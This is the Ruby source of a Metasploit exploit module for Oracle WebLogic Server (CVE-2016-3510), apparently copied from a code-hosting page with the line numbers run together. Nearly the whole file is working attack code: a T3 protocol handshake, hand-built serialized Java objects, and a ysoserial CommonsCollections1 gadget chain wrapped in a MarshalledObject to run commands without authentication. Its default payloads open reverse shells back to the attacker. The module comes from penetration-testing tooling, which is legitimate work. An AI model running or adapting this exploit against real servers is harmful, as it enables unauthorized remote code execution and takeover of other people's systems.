Path: blob/master/modules/exploits/multi/misc/weblogic_deserialize_marshalledobject.rb
32619 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ManualRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::JavaDeserialization1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Oracle Weblogic Server Deserialization RCE - MarshalledObject',16'Description' => %q{17An unauthenticated attacker with network access to the Oracle Weblogic Server T318interface can send a serialized object (weblogic.corba.utils.MarshalledObject)19to the interface to execute code on vulnerable hosts.20},21'Author' => [22'Andres Rodriguez', # Metasploit Module - 2Secure (@acamro, acamro[at]gmail.com)23'Jacob Baines', # Vulnerability Discovery - Tenable Network Security24'Aaron Soto', # Reverse Engineering JSO and ysoserial blobs25'Steve Embling' # T3S support26],27'License' => MSF_LICENSE,28'References' => [29['CVE', '2016-3510']30],31'Privileged' => false,32'Targets' => [33[34'Unix',35{36'Platform' => 'unix',37'Arch' => ARCH_CMD,38'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_python' },39'Payload' => {40'Compat' => { 'PayloadType' => 'cmd' }41}42}43],44[45'Windows',46{47'Platform' => 'win',48'Payload' => {},49'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }50}51],52[53'Solaris',54{55'Platform' => 'solaris',56'Arch' => ARCH_CMD,57'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_perl' },58'Payload' => {59'Space' => 2048,60'DisableNops' => true,61'Compat' =>62{63'PayloadType' => 'cmd',64'RequiredCmd' => 'generic perl telnet'65}66}67}68]69],70'DefaultTarget' => 0,71'DefaultOptions' => { 'WfsDelay' => 12 },72'DisclosureDate' => '2016-07-19',73'Notes' => {74'Reliability' => [REPEATABLE_SESSION],75'Stability' => [CRASH_SAFE],76'SideEffects' => [IOC_IN_LOGS]77}78)79)8081register_options([82Opt::RPORT(7001),83])8485register_advanced_options([86OptBool.new('FORCE_T3', [false, 'Force T3 protocol even over SSL', false])87])88end8990=begin This check is currently incompatible with the Tcp mixin. :-(91def check92resp = send_request_cgi(93'method' => 'GET',94'uri' => '/console/login/LoginForm.jsp'95)9697return CheckCode::Unknown unless resp && resp.code == 2009899unless resp.body.include?('Oracle WebLogic Server Administration Console')100vprint_warning("Oracle WebLogic Server banner cannot be found")101return CheckCode::Unknown102end103104/WebLogic Server Version: (?<version>\d+\.\d+\.\d+\.\d*)/ =~ resp.body105unless version106vprint_warning("Oracle WebLogic Server version cannot be found")107return CheckCode::Unknown108end109110version = Rex::Version.new(version)111vprint_good("Detected Oracle WebLogic Server Version: #{version}")112case113when version.to_s.start_with?('10.3')114return CheckCode::Appears unless version > Rex::Version.new('10.3.6.0')115when version.to_s.start_with?('12.1.3')116return CheckCode::Appears unless version > Rex::Version.new('12.1.3.0')117when version.to_s.start_with?('12.2')118return CheckCode::Appears unless version > Rex::Version.new('12.2.1.0')119end120121return CheckCode::Safe122end123=end124125def t3_handshake126# retrieved from network traffic127if !datastore['SSL'] || datastore['FORCE_T3']128shake = 't3'129else130shake = 't3s'131end132shake << " 12.2.1\n"133shake << "AS:255\n"134shake << "HL:19\n"135shake << "MS:10000000\n\n"136137sock.put(shake)138sleep(1)139sock.get_once140end141142def build_t3_request_object143# T3 request serialized data144# retrieved by watching network traffic145# This is a proprietary, undocumented protocol146# TODO: WHAT DOES THIS DO? CAN WE RANDOMIZE ANY OF IT?147data = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a'148data << '56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278'149data << '700000000a000000030000000000000006007070707070700000000a00000003'150data << '0000000000000006007006'151152data << 'fe010000' # ----- separator -----153154data << 'aced0005' # JSO v5 header155data << '73' # object header156data << '72001d' # className (29 bytes):157data << '7765626c6f6769632e726a766d2e436c617373' # weblogic.rjvm.ClassTableEntry158data << '5461626c65456e747279' # (continued)159data << '2f52658157f4f9ed' # serialVersionUID160data << '0c00007870' # remainder of object header161data << '72' # object header162data << '00247765626c6f6769632e636f6d6d6f6e2e696e74' # className (36 bytes): weblogic.common.internal.PackageInfo163data << '65726e616c2e5061636b616765496e666f' # (continued)164data << 'e6f723e7b8ae1ec9' # serialVersionUID165data << '02' # SC_SERIALIZABLE166data << '0008' # fieldCount = 8167data << '4900056d616a6f72' # 0: Int: major168data << '4900056d696e6f72' # 1: Int: minor169data << '49000c726f6c6c696e675061746368' # 2: Int rollingPatch170data << '49000b736572766963655061636b' # 3: Int: servicePack171data << '5a000e74656d706f726172795061746368' # 4: Bool: temporaryPatch172data << '4c0009696d706c5469746c65' # 5: Obj: implTitle173data << '7400124c6a6176612f6c616e672f537472696e673b' # java/lang/String174data << '4c000a696d706c56656e646f72' # 6: Obj: implVendor175data << '71007e0003' # (Handle) 0x007e0003176data << '4c000b696d706c56657273696f6e' # 7: Obj: implVersion177data << '71007e0003' # (Handle) 0x007e0003178data << '78707702000078' # block footers179180data << 'fe010000' # ----- separator -----181182data << 'aced0005' # JSO v5 header183data << '7372' # object header184data << '001d7765626c6f6769632e726a766d2e436c6173' # className (29 bytes): weblogic.rjvm.ClassTableEntry185data << '735461626c65456e747279' # (continued)186data << '2f52658157f4f9ed' # serialVersionUID187data << '0c' # EXTERNALIZABLE | BLOCKDATA188data << '00007870' # remainder of object header189data << '72' # object header190data << '00247765626c6f6769632e636f6d6d6f6e2e696' # className (36 bytes): weblogic.common.internal.VersionInfo191data << 'e7465726e616c2e56657273696f6e496e666f' # (continued)192data << '972245516452463e' # serialVersionUID193data << '02' # SC_SERIALIZABLE194data << '0003' # fieldCount = 3195data << '5b0008' # array header (8 bytes)196data << '7061636b61676573' # ARRAY NAME = 'packages'197data << '740027' # TC_STRING className1 (39 bytes)198data << '5b4c7765626c6f6769632f636f6d6d6f6e2f69' # weblogic/common/internal/PackageInfo199data << '6e7465726e616c2f5061636b616765496e666f' # (continued)200data << '3b' # (continued)201data << '4c000e' # object header (14 bytes)202data << '72656c6561736556657273696f6e' # releaseVersion203data << '740012' # TC_STRING (18 bytes)204data << '4c6a6176612f6c616e672f537472696e673b' # versionInfoAsBytes205data << '5b0012' # array header (18 bytes)206data << '76657273696f6e496e666f41734279746573' # ARRAY NAME = java/lang/String;207data << '740002' # TC_STRING (2 bytes)208data << '5b42' # 0x5b42 = [B209data << '78' # block footer210211data << '720024' # class (36 bytes)212data << '7765626c6f6769632e636f6d6d6f6e2e696e' # weblogic.common.internal.PackageInfo213data << '7465726e616c2e5061636b616765496e666f' # (continued)214data << 'e6f723e7b8ae1ec9' # serialVersionUID215216data << '02' # SC_SERIALIZABLE217data << '0008' # fieldCount = 8218data << '4900056d616a6f72' # 0: Int: major219data << '4900056d696e6f72' # 1: Int: minor220data << '49000c726f6c6c696e675061746368' # 2: Int rollingPatch221data << '49000b736572766963655061636b' # 3: Int: servicePack222data << '5a000e74656d706f726172795061746368' # 4: Bool: temporaryPatch223data << '4c0009696d706c5469746c65' # 5: Obj: implTitle224data << '71' # TC_REFERENCE225data << '007e0004' # Handle = 0x007e0004226data << '4c000a696d706c56656e646f72' # 6: Obj: implVendor227data << '71' # TC_REFERENCE228data << '007e0004' # Handle = 0x007e0004229data << '4c000b696d706c56657273696f6e' # 7: Obj: implVersion230data << '71' # TC_REFERENCE231data << '007e0004' # Handle = 0x007e0004232data << '78' # class footer233data << '70' # TC_NULL234data << '77020000' # BLOCKDATA (2 bytes): 0x0000235data << '78' # block footer236237data << 'fe010000' # ----- separator -----238239data << 'aced0005' # JSO v5 header240data << '73' # object header241data << '72001d' # className (29 bytes):242data << '7765626c6f6769632e726a766d2e436c617373' # weblogic.rjvm.ClassTableEntry243data << '5461626c65456e747279' # (continued)244data << '2f52658157f4f9ed' # serialVersionUID245data << '0c00007870' # remainder of object header246data << '720021' # className (33 bytes)247data << '7765626c6f6769632e636f6d6d6f6e2e696e74' # weblogic.common.internal.PeerInfo248data << '65726e616c2e50656572496e666f' # (continued)249data << '585474f39bc908f1' # serialVersionUID250data << '02' # SC_SERIALIZABLE251data << '0006' # fieldCount = 6252data << '4900056d616a6f72' # 0: Int: major253data << '4900056d696e6f72' # 1: Int: minor254data << '49000c726f6c6c696e675061746368' # 2: Int rollingPatch255data << '49000b736572766963655061636b' # 3: Int: servicePack256data << '5a000e74656d706f726172795061746368' # 4: Bool: temporaryPatch257data << '5b00087061636b61676573' # 5: Array: packages258data << '740027' # TC_STRING (39 bytes)259data << '5b4c7765626c6f6769632f636f6d6d6f6e2f69' # Lweblogic/common/internal/PackageInfo;260data << '6e7465726e616c2f5061636b616765496e666f' # (continued)261data << '3b' # (continued)262data << '78' # block footer263data << '720024' # class (36 bytes)264data << '7765626c6f6769632e636f6d6d6f6e2e696e74' # Lweblogic/common/internal/PackageInfo;265data << '65726e616c2e56657273696f6e496e666f' # (continued)266data << '972245516452463e' # serialVersionUID267data << '02' # SC_SERIALIZABLE268data << '0003' # fieldCount = 3269data << '5b0008' # 0: Array270data << '7061636b6167657371' # packages271data << '007e0003' # Handle = 0x00730003272data << '4c000e72656c6561736556657273696f6e' # 1: Obj: releaseVersion273data << '7400124c6a6176612f6c616e672f537472696e673b' # Ljava/lang/String;274data << '5b001276657273696f6e496e666f41734279746573' # 2: Array: versionInfoAsBytes275data << '740002' # TC_STRING (2 bytes)276data << '5b42' # VALUE = 0x5b42 = [B277data << '78' # block footer278data << '720024' # class: (36 bytes)279data << '7765626c6f6769632e636f6d6d6f6e2e696e746572' # Name = weblogic.common.internal.PackageInfo280data << '6e616c2e5061636b616765496e666f' # (continued)281data << 'e6f723e7b8ae1ec9' # serialVersionUID282data << '02' # SC_SERIALIZABLE283data << '0008' # fieldCount = 8284data << '4900056d616a6f72' # 0: Int: major285data << '4900056d696e6f72' # 1: Int: minor286data << '49000c726f6c6c696e675061746368' # 2: Int rollingPatch287data << '49000b736572766963655061636b' # 3: Int: servicePack288data << '5a000e74656d706f726172795061746368' # 4: Bool: temporaryPatch289data << '4c0009696d706c5469746c65' # 5: Obj: implTitle290data << '71' # TC_REFERENCE291data << '007e0005' # Handle = 0x007e0005292data << '4c000a696d706c56656e646f72' # 6: Obj: implVendor293data << '71' # TC_REFERENCE294data << '007e0005' # Handle = 0x007e0005295data << '4c000b696d706c56657273696f6e' # 7: Obj: implVersion296data << '71' # TC_REFERENCE297data << '007e0005' # Handle = 0x007e0005298data << '78' # class footer299data << '707702000078' # block footers300301data << 'fe00ff' # this cruft again. some kind of footer302303data << 'fe010000' # ----- separator -----304305# weblogic.rjvm.JVMID object306data << 'aced0005' # JSO v5 header307data << '73' # object header308data << '720013' # class (19 bytes)309data << '7765626c6f6769632e726a766d2e4a564d4944' # name = 'weblogic.rjvm.JVMID'310data << 'dc49c23ede121e2a' # serialVersionUID311data << '0c' # EXTERNALIZABLE | BLOCKDATA312data << '0000' # fieldCount = 0 (!!!)313data << '78' # block footer314data << '70' # NULL315data << '7750' # block header (80 bytes)316data << '21' # !317data << '000000000000000000' # 9 NULL BYTES318data << '0d' # \n319data << '3139322e3136382e312e323237' # 192.168.1.227320data << '00' # \0321data << '12' # #TODO: UNKNOWN322data << '57494e2d4147444d56515542315436' # WIN-AGDMVQUB1T6323data << '2e' # #TODO: UNKNOWN324data << '656883348cd6000000070000' # #TODO: UNKNOWN325data << rport.to_s(16).rjust(4, '0') # callback port326data << 'ffffffffffffffffffffffffffffffffffffff' # #TODO: UNKNOWN327data << 'ffffffffff' # #TODO: UNKNOWN328data << '78' # block footer329330data << 'fe010000' # ----- separator -----331332# weblogic.rjvm.JVMID object333data << 'aced0005' # JSO v5 header334data << '73' # object header335data << '72' # class336data << '00137765626c6f6769632e726a766d2e4a564d4944' # Name: weblogic.rjvm.JVMID337data << 'dc49c23ede121e2a' # serialVersionUID338data << '0c' # EXTERNALIZABLE | BLOCKDATA339data << '0000' # fieldCount = 0340data << '78' # end block341data << '70' # TC_NULL342data << '77' # block header343data << '20' # length = 32 bytes344data << '0114dc42bd071a772700' # #TODO: UNKNOWN345data << '0d' # \n346data << '3234322e3231342e312e323534' # 242.214.1.254347data << '61863d1d' # #TODO: UNKNOWN348data << '00000000' # NULL BYTES349data << '78' # block footer350351sock.put([data].pack('H*'))352sleep(1)353sock.get_once354end355356def send_payload_objdata357# basic weblogic ClassTableEntry object (serialized)358# TODO: WHAT DOES THIS DO? CAN WE RANDOMIZE ANY OF IT?359objdata = '056508000000010000001b0000005d0101007372017870737202787000000000'360objdata << '00000000757203787000000000787400087765626c6f67696375720478700000'361objdata << '000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306'362363objdata << 'fe010000' # ----- separator -----364365objdata << 'aced0005' # JSO v5 header366objdata << '73' # object header367objdata << '72' # class368objdata << '001d7765626c6f6769632e726a766d2e436c61' # Name: weblogic.rjvm.ClassTableEntry369objdata << '73735461626c65456e747279' # (cont)370objdata << '2f52658157f4f9ed' # serialVersionUID371objdata << '0c' # EXTERNALIZABLE | BLOCKDATA372objdata << '0000' # fieldCount = 0373objdata << '7870' # remaining object header374objdata << '72' # class header375objdata << '00025b42' # Name: 0x5b42376objdata << 'acf317f8060854e0' # serialVersionUID377objdata << '02' # SERIALIZABLE378objdata << '0000' # fieldCount = 0379objdata << '7870' # class footer380objdata << '77' # block header381objdata << '020000' # contents = 0x0000382objdata << '78' # block footer383384objdata << 'fe010000' # ----- separator -----385386objdata << 'aced0005' # JSO v5 header387objdata << '73' # object header388objdata << '72' # class389objdata << '001d7765626c6f6769632e726a766d2e436c61' # Name: weblogic.rjvm.ClassTableEntry390objdata << '73735461626c65456e747279' # (cont)391objdata << '2f52658157f4f9ed' # serialVersionUID392objdata << '0c' # EXTERNALIZABLE | BLOCKDATA393objdata << '0000' # fieldCount = 0394objdata << '7870' # remaining object header395objdata << '72' # class header396397objdata << '00135b4c6a6176612e6c616e672e4f626a' # Name: [Ljava.lang.Object;398objdata << '6563743b' # (cont)399objdata << '90ce589f1073296c' # serialVersionUID400objdata << '02' # SERIALIZABLE401objdata << '0000' # fieldCount = 0402objdata << '7870' # remaining object header403objdata << '77' # block header404objdata << '020000' # contents = 0x0000405objdata << '78' # block footer406407objdata << 'fe010000' # ----- separator -----408409objdata << 'aced0005' # JSO v5 header410objdata << '73' # object header411objdata << '72' # class412413objdata << '001d7765626c6f6769632e726a766d2e436c61' # Name: weblogic.rjvm.ClassTableEntry414objdata << '73735461626c65456e747279' # (cont)415objdata << '2f52658157f4f9ed' # serialVersionUID416objdata << '0c' # SERIALIZABLE | BLOCKDATA417objdata << '0000' # fieldCount = 0418objdata << '7870' # block footer419objdata << '72' # class header420objdata << '00106a6176612e7574696c2e566563746f72' # Name: java.util.Vector421objdata << 'd9977d5b803baf01' # serialVersionUID422objdata << '03' # WRITE_METHOD | SERIALIZABLE423objdata << '0003' # fieldCount = 3424objdata << '4900116361706163697479496e6372656d656e74' # 0: Int: capacityIncrement425objdata << '49000c656c656d656e74436f756e74' # 1: Int: elementCount426objdata << '5b000b656c656d656e7444617461' # 2: Array: elementData427objdata << '7400135b4c6a6176612f6c616e672f4f626a6563' # 3: String: [Ljava/lang/Object;428objdata << '743b' # (cont)429objdata << '7870' # remaining object header430objdata << '77' # block header431objdata << '020000' # contents = 0x0000432objdata << '78' # block footer433434objdata << 'fe010000' # ----- separator -----435436# payload generated from ysoserial and wrapped in a MarshalledObject:437objdata << 'aced0005' # JSO v5 header438objdata << '73' # object header439objdata << '72' # class header440441objdata << '00257765626c6f6769632e636f7262612e757469' # Name = weblogic.corba.utils.MarshalledObject442objdata << '6c732e4d61727368616c6c65644f626a656374' # (cont)443objdata << '592161d5f3d1dbb6' # serialVersionUID444objdata << '02' # SERIALIZABLE445objdata << '0002' # fieldCount = 2446objdata << '49000468617368' # 0: Int: hash447objdata << '5b00086f626a4279746573' # 1: Array: objBytes448objdata << '7400025b42' # Value: 0x5b42449objdata << '7870' # class footer450# class Data:451objdata << '21210fdc' # hash = 0x21210fdc (555814876d)452objdata << '757200025b42' # objBytes = [ 0x5b42 ]453objdata << 'acf317f8060854e0' # serialVersionUID454objdata << '02' # SERIALIZABLE455objdata << '0000' # fieldCount = 0456objdata << '7870' # class footer457objdata << '0000' # arraySize (first two bytes)458459# java -jar ysoserial-0.0.5-all.jar CommonsCollections1 calc.exe460java_payload = generate_java_deserialization_for_payload('CommonsCollections1', payload)461objdata << (java_payload.length).to_s(16).rjust(4, '0') # arraySize (lower two bytes)462objdata << java_payload.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join463464# basic weblogic ImmutableServiceContext object (serialized)465objdata << 'fe010000' # ----- separator -----466467objdata << 'aced0005' # JSO v5 header468objdata << '73' # object header469objdata << '72' # class470objdata << '00257765626c6f6769632e726a766d2e496d6d75' # Name = weblogic.rjvm.ImmutableServiceContext471objdata << '7461626c6553657276696365436f6e74657874' # (cont)472objdata << 'ddcba8706386f0ba' # serialVersionUID473objdata << '0c' # SERIALIZABLE | BLOCKDATA474objdata << '0000' # fieldCount = 0475objdata << '78' # remainder of object header476objdata << '72' # class header477objdata << '00297765626c6f6769632e726d692e70726f7669' # Name: weblogic.rmi.provider.BasicServiceContext478objdata << '6465722e426173696353657276696365436f6e74' # (cont)479objdata << '657874' # (cont)480objdata << 'e4632236c5d4a71e' # serialVersionUID481objdata << '0c' # SERIALIZABLE | BLOCKDATA482objdata << '0000' # fieldCount = 0483objdata << '78' # block footer484objdata << '70' # TC_NULL485objdata << '77' # block header486objdata << '020600' # Contents: 0x0600 (1536d) ### LENGTH OFFSET ADDED BELOW #TODO: WHY?487objdata << '73' # object header488objdata << '72' # class description489objdata << '00267765626c6f6769632e726d692e696e746572' # Name = weblogic.rmi.internal.MethodDescriptor490objdata << '6e616c2e4d6574686f6444657363726970746f72' # (cont)491objdata << '12485a828af7f67b' # serialVersionUID492objdata << '0c' # EXTERNALIZABLE | BLOCKDATA493objdata << '0000' # fieldCount = 0494objdata << '78' # block footer495objdata << '70' # TC_NULL496objdata << '77' # block header497objdata << '34002e61757468656e746963617465284c776562' # HEX-ASCII: authenticate(Lweblogic.security.acl.UserInfo;)498objdata << '6c6f6769632e73656375726974792e61636c2e55' # (cont)499objdata << '736572496e666f3b290000001b' # (cont)500objdata << '78' # block footer501objdata << '78' # object footer502503objdata << 'fe00ff' # this cruft again. some kind of footer504505# sets the length of the stream506data = ((objdata.length >> 1) + 4).to_s(16).rjust(8, '0')507data << objdata508509sock.put([data].pack('H*'))510sleep(1)511sock.get_once512end513514def exploit515connect516517print_status('Sending handshake...')518t3_handshake519520print_status('Sending T3 request object...')521build_t3_request_object522523print_status('Sending client object payload...')524send_payload_objdata525526handler527disconnect528end529end530531532